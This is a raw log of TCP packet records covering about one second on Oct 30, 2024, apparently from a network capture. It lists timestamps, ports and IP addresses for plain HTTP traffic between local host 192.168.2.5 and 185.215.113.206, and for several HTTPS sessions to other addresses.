Oct 30, 2024 23:11:51.654831886 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.654836893 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.667772055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.667797089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.667809010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.667855024 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.667875051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.667912960 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.667923927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.667954922 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.667994976 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.668046951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.668056011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.668066025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.668097019 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.680227995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680239916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680250883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680324078 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.680351973 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.680367947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680380106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680391073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680399895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.680438042 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.740808010 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.741297007 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.741314888 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.742135048 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.742141962 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.750966072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.751178026 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.751492977 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.751513958 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.751950026 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.751955986 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.756751060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.766416073 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.766725063 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.766732931 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.767221928 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.767225981 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.772371054 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.772432089 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.772490025 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.772494078 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.772511005 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.772526026 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.772829056 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.772845984 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.772855997 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.773284912 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.773370028 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.774152040 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.789016008 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.789179087 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.789221048 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.789289951 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.789295912 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.789338112 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.789345026 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.789391994 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.789529085 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:51.789546013 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:51.789561987 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.789577961 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.789587975 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.789592981 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.792047024 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.792076111 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.792171001 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.792298079 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.792309999 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.872148037 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.872284889 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.872446060 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.872764111 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.872778893 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.872787952 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.872793913 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.875559092 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.875592947 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.875719070 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.875879049 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.875893116 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.892570019 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.892676115 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.892714024 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.892841101 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.892868042 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.892879009 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.892914057 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.892919064 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.894680977 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.894712925 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.894793987 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.894905090 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.894921064 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.902314901 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.902338982 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.902374029 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.902383089 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.902417898 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.902509928 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.902518034 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.902532101 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.902535915 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.904650927 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.904675007 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.904917955 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.905067921 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.905082941 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.936547041 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.936840057 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.936857939 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.937139988 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.937470913 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.937535048 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:51.937726021 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:51.979332924 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.035300016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035356998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035367012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035402060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035440922 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.035470009 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.035578012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035589933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035615921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035624981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.035625935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035639048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.035650969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.035677910 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.035984993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036031008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036042929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036077023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.036088943 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.036180019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036190987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036226034 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.036525011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036576033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036587954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036622047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.036668062 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036679029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.036716938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.078757048 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.078782082 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.078835011 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.078845024 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.078856945 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.078901052 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.079993010 CET	50007	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.079999924 CET	443	50007	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.085660934 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.085692883 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.085757017 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.085930109 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.085947037 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.156913042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.156930923 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.156944990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.156956911 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.156970024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.156980991 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.156991959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.157000065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.157047987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.194878101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.194926977 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.194981098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.194992065 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195003033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195024967 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195041895 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195080042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195096970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195122004 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195147991 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195238113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195250034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195259094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195286036 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195311069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195445061 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195493937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195502996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195514917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195540905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195688963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195735931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195739985 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195746899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.195810080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.195959091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196001053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.196005106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196017027 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196059942 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.196131945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196144104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196155071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196173906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.196208954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.196577072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196625948 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.196635962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196647882 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196680069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.196760893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.196825027 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.202555895 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.203025103 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.203048944 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.203491926 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.203496933 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.271650076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271711111 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.271713972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271729946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271768093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271770000 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.271816015 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.271909952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271920919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271930933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.271971941 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313112974 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313148022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313158035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313215017 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313327074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313368082 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313584089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313630104 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313640118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313652992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313693047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313774109 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313787937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313798904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313812017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313829899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313847065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.313971043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.313981056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314023018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.314173937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314223051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.314488888 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314500093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314558983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314570904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314582109 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314606905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.314637899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.314666033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314742088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314753056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314793110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.314867973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314879894 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314888954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.314919949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.314933062 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.332906008 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.332962990 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.333115101 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.333203077 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.333219051 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.333229065 CET	50008	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.333234072 CET	443	50008	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.335989952 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.336019993 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.336276054 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.336426973 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.336441040 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.357745886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.357795000 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.357872009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.357954979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.389892101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.389915943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.389925957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.389955044 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.389975071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.390010118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.390021086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.390031099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.390058041 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.390073061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.431411982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431449890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431458950 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.431459904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431495905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.431495905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.431545973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431564093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431574106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431617975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.431811094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431880951 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431890965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.431937933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432075977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432102919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432115078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432121038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432149887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432308912 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432321072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432332993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432356119 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432369947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432702065 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432745934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432754993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432776928 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432799101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432832956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432871103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432881117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.432907104 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.432924986 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.433087111 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.433137894 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.433150053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.433183908 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.433253050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.433264017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.433289051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.433314085 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.508091927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508137941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508147955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.508150101 CET	80	49980	185.215.113.206	192.168.2.5
